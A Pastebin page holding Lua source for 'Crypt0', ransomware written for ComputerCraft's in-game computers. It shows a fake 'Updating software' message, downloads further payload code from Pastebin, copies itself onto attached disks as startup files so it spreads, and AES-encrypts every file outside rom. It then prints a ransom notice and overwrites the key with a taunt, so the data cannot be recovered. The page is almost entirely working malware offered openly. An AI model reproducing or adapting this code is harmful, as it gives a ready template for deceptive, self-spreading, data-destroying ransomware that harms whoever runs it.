Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- Crypt0 by Reinified.
- Virus encrypts all files on PC using AES.
- Decryption very difficult.
- --]]
- -- locking
- -- Encryptor virus example
- -- setting up to ensure correct encryption
- print("Updating software, please wait")
- -- Credit to Xelostar for the first 2 functions
- local function getSubPaths(path)
- local list = fs.list(path)
- local paths = {}
- for _, name in pairs(list) do
- local newPath = fs.combine(path, name)
- if (fs.isDir(newPath)) then
- local subPaths = getSubPaths(newPath)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = newPath
- end
- end
- return paths
- end
- local function getPaths(path, readROM)
- if (path == "" or path == "/") then
- if (readROM) then
- return getSubPaths(path)
- else
- local list = fs.list("/")
- local paths = {}
- for _, path in pairs(list) do
- if (path ~= "rom") then
- if (fs.isDir(path)) then
- local subPaths = getSubPaths(path)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = path
- end
- end
- end
- return paths
- end
- else
- return getSubPaths(path)
- end
- end
- local files = getPaths("/", false)
- os.setComputerLabel("Crypt0 PC")
- fs.delete("virus")
- fs.makeDir("virus")
- shell.run("pastebin get EuUDCuRZ virus/vir")
- shell.run("pastebin get 9YW1XWXN virus/logsalt")
- shell.run("pastebin get DMx8M0LP virus/aeslua")
- os.loadAPI("virus/aeslua")
- os.loadAPI("virus/logsalt")
- if fs.exists("disk") and fs.isDir("disk") then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- end
- fs.copy("virus/vir", "disk/startup") -- i am evil
- end
- if fs.exists("disk2") and fs.isDir("disk2") then
- if fs.exists("disk2/startup") then
- fs.delete("disk2/startup")
- end
- fs.copy("virus/vir", "disk2/startup") -- i am evil v2
- end
- local dec = logsalt.rand(10)
- for _,v in pairs(files) do
- if string.sub(v, 1,5) == "virus" then
- else
- print("Found file " .. v)
- end
- end
- print("starting enc")
- local iv = {}
- for i = 1,16 do iv[i] = math.random(1,255) end
- for _,v in pairs(files) do
- if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" then
- else
- local hBf = fs.open(v, "r")
- local stuff = hBf.readAll()
- local encrypted = aeslua.encrypt(dec,stuff)
- print("Encrypted file " .. v)
- hBf.close()
- hAf = fs.open(v, "w")
- hAf.write(encrypted)
- hAf.close()
- end
- end
- term.clear()
- term.setCursorPos(1,1)
- print("--- [Crypt0] ---")
- print("All major files on this pc have been encrypted.")
- print("Reclaiming your files is almost impossible, unless you have the decrypt code.")
- print("Obtaining the decrypt code is possible, however very difficult.")
- print("--- [Crypt0] ---")
- dec = "you thought didnt you"
Advertisement
Add Comment
Please, Sign In to add comment